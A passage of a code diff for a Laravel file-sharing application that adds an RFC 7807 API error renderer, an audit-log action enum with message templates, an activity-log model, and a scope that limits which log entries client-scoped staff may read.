declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Api\Support;
|
||||
|
||||
use App\Modules\Platform\Capabilities\CapabilityUnavailable;
|
||||
use Illuminate\Auth\Access\AuthorizationException;
|
||||
use Illuminate\Auth\AuthenticationException;
|
||||
use Illuminate\Database\Eloquent\ModelNotFoundException;
|
||||
use Illuminate\Http\JsonResponse;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Validation\ValidationException;
|
||||
use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
|
||||
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
|
||||
use Throwable;
|
||||
|
||||
/**
|
||||
* RFC 7807 error bodies for /api/* only.
|
||||
*
|
||||
* Two properties this class exists to guarantee:
|
||||
*
|
||||
* - Every API failure has the same shape, so a client can parse errors
|
||||
* once. `type` is a stable slug a caller may branch on; `title` and
|
||||
* `detail` are prose that may be reworded without it being a breaking
|
||||
* change.
|
||||
* - Nothing leaks. Laravel's default JSON renderer happily returns an
|
||||
* exception message and stack trace; here the message is only ever
|
||||
* echoed for exceptions that are meant to be read by the caller
|
||||
* (validation, explicit HTTP aborts), and anything else collapses to a
|
||||
* generic 500 unless APP_DEBUG is on.
|
||||
*/
|
||||
class ProblemDetails
|
||||
{
|
||||
/**
|
||||
* Slugs are part of the API contract — rename one and you have made a
|
||||
* breaking change. Keyed by status code for everything that doesn't
|
||||
* carry a more specific slug of its own.
|
||||
*
|
||||
* @var array<int, string>
|
||||
*/
|
||||
private const TYPES = [
|
||||
400 => 'bad_request',
|
||||
401 => 'unauthenticated',
|
||||
403 => 'forbidden',
|
||||
404 => 'not_found',
|
||||
405 => 'method_not_allowed',
|
||||
409 => 'conflict',
|
||||
413 => 'payload_too_large',
|
||||
422 => 'validation_failed',
|
||||
429 => 'too_many_requests',
|
||||
500 => 'server_error',
|
||||
503 => 'service_unavailable',
|
||||
];
|
||||
|
||||
public function shouldHandle(Request $request): bool
|
||||
{
|
||||
return $request->is('api/*');
|
||||
}
|
||||
|
||||
public function render(Request $request, Throwable $e): JsonResponse
|
||||
{
|
||||
[$status, $type, $title, $detail, $extra] = $this->describe($e);
|
||||
|
||||
$body = array_filter([
|
||||
'type' => $type,
|
||||
'title' => $title,
|
||||
'status' => $status,
|
||||
'detail' => $detail,
|
||||
], static fn (mixed $value): bool => $value !== null) + $extra;
|
||||
|
||||
$response = new JsonResponse($body, $status);
|
||||
$response->headers->set('Content-Type', 'application/problem+json');
|
||||
|
||||
// Throttling and 405s carry headers the caller genuinely needs
|
||||
// (Retry-After, Allow); dropping them would make the error
|
||||
// unactionable, so copy whatever the exception already decided.
|
||||
if ($e instanceof HttpExceptionInterface) {
|
||||
foreach ($e->getHeaders() as $name => $value) {
|
||||
$response->headers->set($name, $value);
|
||||
}
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{int, string, string, string|null, array<string, mixed>}
|
||||
*/
|
||||
private function describe(Throwable $e): array
|
||||
{
|
||||
if ($e instanceof ValidationException) {
|
||||
return [
|
||||
422,
|
||||
'validation_failed',
|
||||
'The given data was invalid.',
|
||||
null,
|
||||
['errors' => $e->errors()],
|
||||
];
|
||||
}
|
||||
|
||||
if ($e instanceof AuthenticationException) {
|
||||
return [
|
||||
401,
|
||||
'unauthenticated',
|
||||
'Authentication required.',
|
||||
'Send a valid API token in the Authorization header as "Bearer <token>".',
|
||||
[],
|
||||
];
|
||||
}
|
||||
|
||||
if ($e instanceof AuthorizationException) {
|
||||
return [
|
||||
403,
|
||||
'forbidden',
|
||||
'This action is unauthorized.',
|
||||
// An authorization failure must not explain itself in
|
||||
// detail: "you lack delete_others_files" and "that file
|
||||
// belongs to someone else" are both facts about data the
|
||||
// caller was just told it cannot see.
|
||||
null,
|
||||
[],
|
||||
];
|
||||
}
|
||||
|
||||
// Before the generic HttpExceptionInterface branch, which would
|
||||
// flatten this to a bare `forbidden` and drop the two fields that
|
||||
// tell a caller *why* — an integration wants to distinguish "your
|
||||
// token may not do that" from "this installation does not have
|
||||
// that feature", and only the second is worth giving up on.
|
||||
if ($e instanceof CapabilityUnavailable) {
|
||||
return [
|
||||
403,
|
||||
'capability_unavailable',
|
||||
'Not available in this edition.',
|
||||
$e->getMessage(),
|
||||
['capability' => $e->capability->value, 'edition' => $e->edition->value],
|
||||
];
|
||||
}
|
||||
|
||||
// Note what this does NOT do: a file that exists but is out of the
|
||||
// caller's scope answers 403, while an unknown id answers 404, so
|
||||
// the pair does reveal whether a given id exists. That is the same
|
||||
// answer the web UI gives (routes/web.php binds the model, then the
|
||||
// policy refuses), and mirroring it is deliberate — the API adds no
|
||||
// exposure a staff member does not already have by visiting
|
||||
// /files/{id}. Collapsing both to 404 would be a stricter boundary
|
||||
// than the app applies anywhere else, and only in one surface.
|
||||
if ($e instanceof ModelNotFoundException || $e instanceof NotFoundHttpException) {
|
||||
return [404, 'not_found', 'Resource not found.', null, []];
|
||||
}
|
||||
|
||||
if ($e instanceof HttpExceptionInterface) {
|
||||
$status = $e->getStatusCode();
|
||||
$message = $e->getMessage();
|
||||
|
||||
return [
|
||||
$status,
|
||||
self::TYPES[$status] ?? 'http_error',
|
||||
$this->titleFor($status),
|
||||
$message !== '' ? $message : null,
|
||||
[],
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
500,
|
||||
'server_error',
|
||||
'Server error.',
|
||||
// The only place a raw exception message may surface, and only
|
||||
// when the operator has explicitly asked for it.
|
||||
config('app.debug') === true ? $e->getMessage() : null,
|
||||
[],
|
||||
];
|
||||
}
|
||||
|
||||
private function titleFor(int $status): string
|
||||
{
|
||||
return match ($status) {
|
||||
400 => 'Bad request.',
|
||||
401 => 'Authentication required.',
|
||||
403 => 'This action is unauthorized.',
|
||||
404 => 'Resource not found.',
|
||||
405 => 'Method not allowed.',
|
||||
409 => 'Conflict.',
|
||||
413 => 'Payload too large.',
|
||||
429 => 'Too many requests.',
|
||||
503 => 'Service unavailable.',
|
||||
default => 'Request failed.',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
/**
|
||||
* Every action the activity log can record — v2's replacement for v1's
|
||||
* ~45 numbered action types in ActionsLog. Modules add their own cases
|
||||
* (file.uploaded, group.created, …) as they land; the string values are
|
||||
* stable identifiers stored in the database.
|
||||
*/
|
||||
enum Action: string
|
||||
{
|
||||
// Platform / lifecycle (v1 action 0: "ProjectSend has been installed")
|
||||
case SetupCompleted = 'setup.completed';
|
||||
case SettingsUpdated = 'settings.updated';
|
||||
|
||||
// Identity
|
||||
case Login = 'auth.login';
|
||||
case Logout = 'auth.logout';
|
||||
case UserCreated = 'user.created';
|
||||
case UserUpdated = 'user.updated';
|
||||
case UserDeleted = 'user.deleted';
|
||||
case UserActivated = 'user.activated';
|
||||
case UserDeactivated = 'user.deactivated';
|
||||
case AccountErased = 'account.erased';
|
||||
case AccountContentCascadeDeleted = 'account_content.cascade_deleted';
|
||||
case AccountContentReassigned = 'account_content.reassigned';
|
||||
// Deliberately their own cases rather than reusing user.updated: v1
|
||||
// wrote its LDAP events onto the codes for "approved/denied an account
|
||||
// request", so every LDAP login rendered in the log as an approval.
|
||||
case AccountConvertedToClient = 'account.converted_to_client';
|
||||
case AccountConvertedToStaff = 'account.converted_to_staff';
|
||||
case ClientSelfRegistered = 'client.self_registered';
|
||||
case LdapClientProvisioned = 'ldap.client_provisioned';
|
||||
case SocialClientProvisioned = 'social.client_provisioned';
|
||||
case SocialAccountLinked = 'social.account_linked';
|
||||
case SocialAccountUnlinked = 'social.account_unlinked';
|
||||
case ClientApproved = 'client.approved';
|
||||
case ClientDenied = 'client.denied';
|
||||
// Files
|
||||
case FileUploaded = 'file.uploaded';
|
||||
case FileUpdated = 'file.updated';
|
||||
case FileDeleted = 'file.deleted';
|
||||
case FileDownloaded = 'file.downloaded';
|
||||
case FilePreviewed = 'file.previewed';
|
||||
case FileAssigned = 'file.assigned';
|
||||
case FileUnassigned = 'file.unassigned';
|
||||
case FileVersionLinked = 'file.version_linked';
|
||||
case FileVersionUnlinked = 'file.version_unlinked';
|
||||
case ShareLinkCreated = 'share_link.created';
|
||||
case ShareLinkRevoked = 'share_link.revoked';
|
||||
case ShareLinkDownloaded = 'share_link.downloaded';
|
||||
case PublicFileDownloaded = 'public_file.downloaded';
|
||||
case FolderCreated = 'folder.created';
|
||||
case FolderRenamed = 'folder.renamed';
|
||||
case FolderMoved = 'folder.moved';
|
||||
case FolderDeleted = 'folder.deleted';
|
||||
case FolderShared = 'folder.shared';
|
||||
case FolderUnshared = 'folder.unshared';
|
||||
case FileMadePublic = 'file.made_public';
|
||||
case FileMadePrivate = 'file.made_private';
|
||||
case FolderMadePublic = 'folder.made_public';
|
||||
case FolderMadePrivate = 'folder.made_private';
|
||||
case UploadAborted = 'upload.aborted';
|
||||
case FileImported = 'file.imported';
|
||||
case OrphanFileDeleted = 'orphan_file.deleted';
|
||||
case OrphanFileAutoDeleted = 'orphan_file.auto_deleted';
|
||||
case ExpiredFileDeleted = 'file.expired_deleted';
|
||||
|
||||
case GroupMembershipLeft = 'group.membership_left';
|
||||
case GroupMembershipRequested = 'group.membership_requested';
|
||||
case GroupMembershipApproved = 'group.membership_approved';
|
||||
case GroupMembershipDenied = 'group.membership_denied';
|
||||
case GroupCreated = 'group.created';
|
||||
case GroupUpdated = 'group.updated';
|
||||
case GroupDeleted = 'group.deleted';
|
||||
case GroupMadePublic = 'group.made_public';
|
||||
case GroupMadePrivate = 'group.made_private';
|
||||
case GroupMemberAdded = 'group.member_added';
|
||||
case GroupMemberRemoved = 'group.member_removed';
|
||||
case RoleCreated = 'role.created';
|
||||
case RoleUpdated = 'role.updated';
|
||||
case RoleDeleted = 'role.deleted';
|
||||
case CategoryCreated = 'category.created';
|
||||
case CategoryRenamed = 'category.renamed';
|
||||
case CategoryDeleted = 'category.deleted';
|
||||
case ClientCustomFieldCreated = 'client_custom_field.created';
|
||||
case ClientCustomFieldUpdated = 'client_custom_field.updated';
|
||||
case ClientCustomFieldDeleted = 'client_custom_field.deleted';
|
||||
case ProfileUpdated = 'profile.updated';
|
||||
case PasswordUpdated = 'password.updated';
|
||||
case TwoFactorEnabled = 'two_factor.enabled';
|
||||
case TwoFactorDisabled = 'two_factor.disabled';
|
||||
case TwoFactorRecoveryCodesRegenerated = 'two_factor.recovery_codes_regenerated';
|
||||
// Distinct from TwoFactorDisabled: that is somebody turning off their
|
||||
// own second factor, this is an administrator turning off somebody
|
||||
// else's. Same end state, very different thing to find in an audit
|
||||
// trail — one of them is the shape an account takeover would take.
|
||||
case TwoFactorReset = 'two_factor.reset';
|
||||
|
||||
// API tokens. Minting one creates a long-lived credential that acts
|
||||
// with the owner's permissions outside any browser session, so both
|
||||
// ends of its life are audit events in their own right.
|
||||
case ApiTokenCreated = 'api_token.created';
|
||||
case ApiTokenUpdated = 'api_token.updated';
|
||||
case ApiTokenRevoked = 'api_token.revoked';
|
||||
|
||||
// Custom assets (community-modules package — see
|
||||
// App\Modules\Audit\Listeners\LogCustomAssetActivity, which
|
||||
// translates that package's events into these cases; the package
|
||||
// itself has no dependency on this enum or on ActivityLogger).
|
||||
case CustomAssetCreated = 'custom_asset.created';
|
||||
case CustomAssetUpdated = 'custom_asset.updated';
|
||||
case CustomAssetDeleted = 'custom_asset.deleted';
|
||||
case CustomAssetEnabled = 'custom_asset.enabled';
|
||||
case CustomAssetDisabled = 'custom_asset.disabled';
|
||||
|
||||
// Comments. The body is deliberately never recorded in the log's
|
||||
// context: a comment can be visible to one client only, and the
|
||||
// activity log is read by staff whose file scope may not include
|
||||
// that client's thread.
|
||||
case CommentPosted = 'comment.posted';
|
||||
// A visitor's comment has no account behind it, so it would otherwise
|
||||
// log with a null actor and read as "System" — the audit trail saying
|
||||
// the installation commented on its own file, with the one detail
|
||||
// moderation cares about (who claimed to write it) thrown away. Same
|
||||
// reason FileDownloaded, PublicFileDownloaded and ShareLinkDownloaded
|
||||
// are three cases rather than one: same event, different origin.
|
||||
case CommentPostedByVisitor = 'comment.posted_by_visitor';
|
||||
case CommentEdited = 'comment.edited';
|
||||
case CommentDeleted = 'comment.deleted';
|
||||
case CommentApproved = 'comment.approved';
|
||||
|
||||
/**
|
||||
* Full sentence for a log row, with :placeholders resolved from the
|
||||
* entry's subject name (:subject) and context keys. English text is
|
||||
* the translation key; translations keep the placeholders.
|
||||
*/
|
||||
public function template(): string
|
||||
{
|
||||
return match ($this) {
|
||||
self::SetupCompleted => 'Installed ProjectSend',
|
||||
self::SettingsUpdated => 'Updated the system settings (:section)',
|
||||
self::Login => 'Logged in',
|
||||
self::Logout => 'Logged out',
|
||||
self::UserCreated => 'Created the account ":subject"',
|
||||
self::UserUpdated => 'Updated the account ":subject"',
|
||||
self::UserDeleted => 'Deleted the account ":name"',
|
||||
self::AccountConvertedToClient => 'Converted the staff account ":subject" to a client',
|
||||
self::AccountConvertedToStaff => 'Converted the client account ":subject" to staff (:role)',
|
||||
self::LdapClientProvisioned => 'Created a client account from the directory on first sign-in',
|
||||
self::SocialClientProvisioned => 'Created a client account from :provider on first sign-in',
|
||||
self::SocialAccountLinked => 'Connected the :provider account of ":subject"',
|
||||
self::SocialAccountUnlinked => 'Disconnected the :provider account of ":subject"',
|
||||
self::UserActivated => 'Activated the account ":subject"',
|
||||
self::UserDeactivated => 'Deactivated the account ":subject"',
|
||||
self::AccountErased => 'Permanently erased a deleted account',
|
||||
self::AccountContentCascadeDeleted => 'Deleted :files file(s) and :folders folder(s) belonging to the deleted account ":name"',
|
||||
self::AccountContentReassigned => 'Reassigned :files file(s) and :folders folder(s) from the deleted account ":name" to :target',
|
||||
self::ClientSelfRegistered => 'Registered a new client account',
|
||||
self::ClientApproved => 'Approved the account request of ":subject"',
|
||||
self::ClientDenied => 'Denied the account request of ":name"',
|
||||
self::FileUploaded => 'Uploaded the file ":subject"',
|
||||
self::FileUpdated => 'Updated the file ":subject"',
|
||||
self::FileDeleted => 'Deleted the file ":name"',
|
||||
self::FileDownloaded => 'Downloaded the file ":subject"',
|
||||
self::FilePreviewed => 'Previewed the file ":subject"',
|
||||
self::FileAssigned => 'Assigned the file ":subject" to :target',
|
||||
self::FileUnassigned => 'Removed the file ":subject" from :target',
|
||||
// :previous is a name snapshot in context, not a lookup — same
|
||||
// reason FileDeleted carries :name: the entry has to still read
|
||||
// correctly once the original is gone.
|
||||
self::FileVersionLinked => 'Marked the file ":subject" as a revision of ":previous"',
|
||||
self::FileVersionUnlinked => 'Removed the version link from the file ":subject"',
|
||||
self::ShareLinkCreated => 'Created a public link for the file ":subject"',
|
||||
self::ShareLinkRevoked => 'Revoked a public link for the file ":subject"',
|
||||
self::ShareLinkDownloaded => 'Downloaded the file ":subject" via a public link',
|
||||
self::PublicFileDownloaded => 'Downloaded the file ":subject" via the public group listing',
|
||||
self::FolderCreated => 'Created the folder ":subject"',
|
||||
self::FolderRenamed => 'Renamed the folder ":subject"',
|
||||
self::FolderMoved => 'Moved the folder ":subject"',
|
||||
self::FolderDeleted => 'Deleted the folder ":name" and its contents',
|
||||
self::FolderShared => 'Shared the folder ":subject" with :target',
|
||||
self::FolderUnshared => 'Stopped sharing the folder ":subject" with :target',
|
||||
self::FileMadePublic => 'Made the file ":subject" public',
|
||||
self::FileMadePrivate => 'Made the file ":subject" private',
|
||||
self::FolderMadePublic => 'Made the folder ":subject" public',
|
||||
self::FolderMadePrivate => 'Made the folder ":subject" private',
|
||||
self::UploadAborted => 'Cancelled uploading the file ":name"',
|
||||
self::CommentPosted => 'Commented on the file ":subject"',
|
||||
self::CommentPostedByVisitor => ':guest commented on the file ":subject"',
|
||||
self::CommentEdited => 'Edited a comment on the file ":subject"',
|
||||
self::CommentDeleted => 'Deleted a comment on the file ":subject"',
|
||||
self::CommentApproved => 'Approved a comment on the file ":subject"',
|
||||
self::FileImported => 'Imported the orphan file ":subject"',
|
||||
self::OrphanFileDeleted => 'Deleted the orphan file ":name"',
|
||||
self::OrphanFileAutoDeleted => 'Deleted the orphan file ":name"',
|
||||
self::ExpiredFileDeleted => 'Deleted the expired file ":name"',
|
||||
self::GroupMembershipLeft => 'Left the group ":subject"',
|
||||
self::GroupMembershipRequested => 'Requested membership to the group ":subject"',
|
||||
self::GroupMembershipApproved => 'Approved the membership of ":member" to the group ":subject"',
|
||||
self::GroupMembershipDenied => 'Denied the membership of ":member" to the group ":subject"',
|
||||
self::GroupCreated => 'Created the group ":subject"',
|
||||
self::GroupUpdated => 'Updated the group ":subject"',
|
||||
self::GroupDeleted => 'Deleted the group ":name"',
|
||||
self::GroupMadePublic => 'Made the group ":subject" public',
|
||||
self::GroupMadePrivate => 'Made the group ":subject" private',
|
||||
self::GroupMemberAdded => 'Added ":member" to the group ":subject"',
|
||||
self::GroupMemberRemoved => 'Removed ":member" from the group ":subject"',
|
||||
self::RoleCreated => 'Created the role ":subject"',
|
||||
self::RoleUpdated => 'Updated the role ":subject"',
|
||||
self::RoleDeleted => 'Deleted the role ":name"',
|
||||
self::CategoryCreated => 'Created the category ":subject"',
|
||||
self::CategoryRenamed => 'Renamed the category to ":subject"',
|
||||
self::CategoryDeleted => 'Deleted the category ":name"',
|
||||
self::ClientCustomFieldCreated => 'Created the custom field ":name"',
|
||||
self::ClientCustomFieldUpdated => 'Updated the custom field ":name"',
|
||||
self::ClientCustomFieldDeleted => 'Deleted the custom field ":name"',
|
||||
self::ProfileUpdated => 'Updated their profile information',
|
||||
self::PasswordUpdated => 'Changed their password',
|
||||
self::TwoFactorEnabled => 'Enabled two-factor authentication',
|
||||
self::TwoFactorDisabled => 'Disabled two-factor authentication',
|
||||
self::TwoFactorRecoveryCodesRegenerated => 'Regenerated two-factor recovery codes',
|
||||
self::TwoFactorReset => 'Removed two-factor authentication from ":subject"',
|
||||
self::ApiTokenCreated => 'Created the API token ":token_name"',
|
||||
self::ApiTokenUpdated => 'Updated the API token ":token_name"',
|
||||
self::ApiTokenRevoked => 'Revoked the API token ":token_name"',
|
||||
self::CustomAssetCreated => 'Created the custom asset ":subject"',
|
||||
self::CustomAssetUpdated => 'Updated the custom asset ":subject"',
|
||||
self::CustomAssetDeleted => 'Deleted the custom asset ":name"',
|
||||
self::CustomAssetEnabled => 'Enabled the custom asset ":subject"',
|
||||
self::CustomAssetDisabled => 'Disabled the custom asset ":subject"',
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Generic description for filter dropdowns (also the translation key).
|
||||
*/
|
||||
public function description(): string
|
||||
{
|
||||
return match ($this) {
|
||||
self::SetupCompleted => 'ProjectSend was installed',
|
||||
self::SettingsUpdated => 'System settings were updated',
|
||||
self::Login => 'Logged in',
|
||||
self::Logout => 'Logged out',
|
||||
self::UserCreated => 'An account was created',
|
||||
self::UserUpdated => 'An account was updated',
|
||||
self::UserDeleted => 'An account was deleted',
|
||||
self::AccountConvertedToClient => 'A staff account was converted to a client',
|
||||
self::AccountConvertedToStaff => 'A client account was converted to staff',
|
||||
self::LdapClientProvisioned => 'A client account was created from the directory',
|
||||
self::SocialClientProvisioned => 'A client account was created from :provider',
|
||||
self::SocialAccountLinked => 'A :provider account was connected',
|
||||
self::SocialAccountUnlinked => 'A :provider account was disconnected',
|
||||
self::UserActivated => 'An account was activated',
|
||||
self::UserDeactivated => 'An account was deactivated',
|
||||
self::AccountErased => 'An account was permanently erased',
|
||||
self::AccountContentCascadeDeleted => 'A deleted account\'s files and folders were deleted',
|
||||
self::AccountContentReassigned => 'A deleted account\'s files and folders were reassigned',
|
||||
self::ClientSelfRegistered => 'A client registered an account',
|
||||
self::ClientApproved => 'A client account request was approved',
|
||||
self::ClientDenied => 'A client account request was denied',
|
||||
self::FileUploaded => 'A file was uploaded',
|
||||
self::FileUpdated => 'A file was updated',
|
||||
self::FileDeleted => 'A file was deleted',
|
||||
self::FileDownloaded => 'A file was downloaded',
|
||||
self::FilePreviewed => 'A file was previewed',
|
||||
self::FileAssigned => 'A file was assigned',
|
||||
self::FileUnassigned => 'A file assignment was removed',
|
||||
self::FileVersionLinked => 'A file was marked as a revision of another',
|
||||
self::FileVersionUnlinked => 'A file version link was removed',
|
||||
self::ShareLinkCreated => 'A public link was created',
|
||||
self::ShareLinkRevoked => 'A public link was revoked',
|
||||
self::ShareLinkDownloaded => 'A file was downloaded via a public link',
|
||||
self::PublicFileDownloaded => 'A file was downloaded via the public group listing',
|
||||
self::FolderCreated => 'A folder was created',
|
||||
self::FolderRenamed => 'A folder was renamed',
|
||||
self::FolderMoved => 'A folder was moved',
|
||||
self::FolderDeleted => 'A folder was deleted',
|
||||
self::FolderShared => 'A folder was shared',
|
||||
self::FolderUnshared => 'A folder was unshared',
|
||||
self::FileMadePublic => 'A file was made public',
|
||||
self::FileMadePrivate => 'A file was made private',
|
||||
self::FolderMadePublic => 'A folder was made public',
|
||||
self::FolderMadePrivate => 'A folder was made private',
|
||||
self::UploadAborted => 'An upload was cancelled',
|
||||
self::CommentPosted => 'A comment was posted on a file',
|
||||
self::CommentPostedByVisitor => 'A visitor commented on a file',
|
||||
self::CommentEdited => 'A comment was edited',
|
||||
self::CommentDeleted => 'A comment was deleted',
|
||||
self::CommentApproved => 'A comment was approved',
|
||||
self::FileImported => 'An orphan file was imported',
|
||||
self::OrphanFileDeleted => 'An orphan file was deleted',
|
||||
self::OrphanFileAutoDeleted => 'An orphan file was automatically deleted after its retention grace period passed',
|
||||
self::ExpiredFileDeleted => 'An expired file was automatically deleted after its retention grace period passed',
|
||||
self::GroupMembershipLeft => 'A client left a group',
|
||||
self::GroupMembershipRequested => 'A group membership was requested',
|
||||
self::GroupMembershipApproved => 'A group membership request was approved',
|
||||
self::GroupMembershipDenied => 'A group membership request was denied',
|
||||
self::GroupCreated => 'A group was created',
|
||||
self::GroupUpdated => 'A group was updated',
|
||||
self::GroupDeleted => 'A group was deleted',
|
||||
self::GroupMadePublic => 'A group was made public',
|
||||
self::GroupMadePrivate => 'A group was made private',
|
||||
self::GroupMemberAdded => 'A client was added to a group',
|
||||
self::GroupMemberRemoved => 'A client was removed from a group',
|
||||
self::RoleCreated => 'A role was created',
|
||||
self::RoleUpdated => 'A role was updated',
|
||||
self::RoleDeleted => 'A role was deleted',
|
||||
self::CategoryCreated => 'A category was created',
|
||||
self::CategoryRenamed => 'A category was renamed',
|
||||
self::CategoryDeleted => 'A category was deleted',
|
||||
self::ClientCustomFieldCreated => 'A custom field was created',
|
||||
self::ClientCustomFieldUpdated => 'A custom field was updated',
|
||||
self::ClientCustomFieldDeleted => 'A custom field was deleted',
|
||||
self::ProfileUpdated => 'Profile information was updated',
|
||||
self::PasswordUpdated => 'The account password was changed',
|
||||
self::TwoFactorEnabled => 'Two-factor authentication was enabled',
|
||||
self::TwoFactorDisabled => 'Two-factor authentication was disabled',
|
||||
self::TwoFactorRecoveryCodesRegenerated => 'Two-factor recovery codes were regenerated',
|
||||
self::TwoFactorReset => 'Two-factor authentication was removed by an administrator',
|
||||
self::ApiTokenCreated => 'An API token was created',
|
||||
self::ApiTokenUpdated => 'An API token was updated',
|
||||
self::ApiTokenRevoked => 'An API token was revoked',
|
||||
self::CustomAssetCreated => 'A custom asset was created',
|
||||
self::CustomAssetUpdated => 'A custom asset was updated',
|
||||
self::CustomAssetDeleted => 'A custom asset was deleted',
|
||||
self::CustomAssetEnabled => 'A custom asset was enabled',
|
||||
self::CustomAssetDisabled => 'A custom asset was disabled',
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Database\Eloquent\Relations\MorphTo;
|
||||
use Illuminate\Support\Carbon;
|
||||
|
||||
/**
|
||||
* @property int $id
|
||||
* @property int|null $actor_id
|
||||
* @property string|null $actor_name
|
||||
* @property string|null $actor_type
|
||||
* @property ActivityOrigin $origin
|
||||
* @property int|null $api_token_id
|
||||
* @property string|null $api_token_name
|
||||
* @property string|null $ip_address
|
||||
* @property Action $action
|
||||
* @property string|null $subject_type
|
||||
* @property int|null $subject_id
|
||||
* @property string|null $subject_name
|
||||
* @property array<string, mixed>|null $context
|
||||
* @property Carbon $created_at
|
||||
*/
|
||||
class ActivityLog extends Model
|
||||
{
|
||||
protected $table = 'activity_log';
|
||||
|
||||
// Log entries are immutable: created_at only, written by the logger.
|
||||
public $timestamps = false;
|
||||
|
||||
protected $guarded = [];
|
||||
|
||||
protected function casts(): array
|
||||
{
|
||||
return [
|
||||
'action' => Action::class,
|
||||
'origin' => ActivityOrigin::class,
|
||||
'context' => 'json',
|
||||
'created_at' => 'datetime',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return MorphTo<Model, $this>
|
||||
*/
|
||||
public function subject(): MorphTo
|
||||
{
|
||||
return $this->morphTo();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Files\Access\StaffLibraryScope;
|
||||
use App\Modules\Files\Models\File;
|
||||
use App\Modules\Files\Models\Folder;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
|
||||
/**
|
||||
* Which activity-log entries a viewer may read.
|
||||
*
|
||||
* `view_actions_log` alone is not the whole answer for a client-scoped
|
||||
* staff member (see User::isClientScoped). Scoping restricts which library
|
||||
* content they can reach, but an activity row carries the subject's *name*
|
||||
* — and, for downloads, who fetched it and from which IP — so an unscoped
|
||||
* log hands over exactly the information the scope exists to withhold:
|
||||
* a Client Manager could read the names of every file in the installation
|
||||
* and who touched them, while getting a 403 on the files themselves. The
|
||||
* Client Manager system role ships with `view_actions_log`, so this is the
|
||||
* default configuration, not an exotic one.
|
||||
*
|
||||
* A scoped viewer therefore sees an entry when it is about something in
|
||||
* their scope, or when they did it themselves:
|
||||
*
|
||||
* - File / Folder subjects, limited to StaffLibraryScope
|
||||
* - User subjects, limited to the clients assigned to them
|
||||
* - anything they are the actor of (their own audit trail stays whole)
|
||||
*
|
||||
* Everything else — other staff's logins, settings changes, entries about
|
||||
* files since deleted (no live row left to test the scope against) —
|
||||
* is not theirs to read.
|
||||
*
|
||||
* An unscoped viewer's log is unchanged: installation-wide, as before.
|
||||
*/
|
||||
class ActivityLogScope
|
||||
{
|
||||
public function __construct(
|
||||
private readonly StaffLibraryScope $library,
|
||||
) {}
|
||||
|
||||
/**
|
||||
* @param Builder<ActivityLog> $query
|
||||
* @return Builder<ActivityLog>
|
||||
*/
|
||||
public function apply(Builder $query, User $viewer): Builder
|
||||
{
|
||||
if (! $viewer->isClientScoped()) {
|
||||
return $query;
|
||||
}
|
||||
|
||||
$fileMorph = (new File)->getMorphClass();
|
||||
$folderMorph = (new Folder)->getMorphClass();
|
||||
$userMorph = (new User)->getMorphClass();
|
||||
$clientIds = $this->library->assignableClientIds($viewer) ?? [];
|
||||
|
||||
return $query->where(function (Builder $outer) use ($viewer, $fileMorph, $folderMorph, $userMorph, $clientIds): void {
|
||||
$outer->where('actor_id', $viewer->id);
|
||||
|
||||
$outer->orWhere(fn (Builder $files) => $files
|
||||
->where('subject_type', $fileMorph)
|
||||
->whereIn('subject_id', $this->library->files($viewer)->select('id')));
|
||||
|
||||
$outer->orWhere(fn (Builder $folders) => $folders
|
||||
->where('subject_type', $folderMorph)
|
||||
->whereIn('subject_id', $this->library->folders($viewer)->select('id')));
|
||||
|
||||
if ($clientIds !== []) {
|
||||
$outer->orWhere(fn (Builder $users) => $users
|
||||
->where('subject_type', $userMorph)
|
||||
->whereIn('subject_id', $clientIds));
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* File ids from $ids the viewer may actually open — used to decide
|
||||
* whether a row links anywhere. Permission alone was the old test,
|
||||
* which produced links to files the viewer would get a 403 on.
|
||||
*
|
||||
* @param iterable<int> $ids
|
||||
* @return array<int, bool> keyed by id; presence is the answer
|
||||
*/
|
||||
public function openableFileIds(User $viewer, iterable $ids): array
|
||||
{
|
||||
$ids = collect($ids)->filter()->unique();
|
||||
|
||||
if ($ids->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->library->files($viewer)
|
||||
->whereIn('id', $ids)
|
||||
->pluck('id')
|
||||
->mapWithKeys(fn ($id): array => [(int) $id => true])
|
||||
->all();
|
||||
}
|
||||
|
||||
/**
|
||||
* @param iterable<int> $ids
|
||||
* @return array<int, bool> keyed by id; presence is the answer
|
||||
*/
|
||||
public function openableFolderIds(User $viewer, iterable $ids): array
|
||||
{
|
||||
$ids = collect($ids)->filter()->unique();
|
||||
|
||||
if ($ids->isEmpty()) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->library->folders($viewer)
|
||||
->whereIn('id', $ids)
|
||||
->pluck('id')
|
||||
->mapWithKeys(fn ($id): array => [(int) $id => true])
|
||||
->all();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace App\Modules\Audit;
|
||||
|
||||
use App\Models\User;
|
||||
use App\Modules\Platform\Settings\Setting;
|
||||
use App\Modules\Platform\Settings\Settings;
|
||||
use Illuminate\Database\Eloquent\Model;
|
||||
use Illuminate\Support\Facades\Auth;
|
||||
|
||||
class ActivityLogger
|
||||
{
|
||||
public function __construct(
|
||||
private readonly Settings $settings,
|
||||
) {}
|
||||
|
||||
/**
|
||||
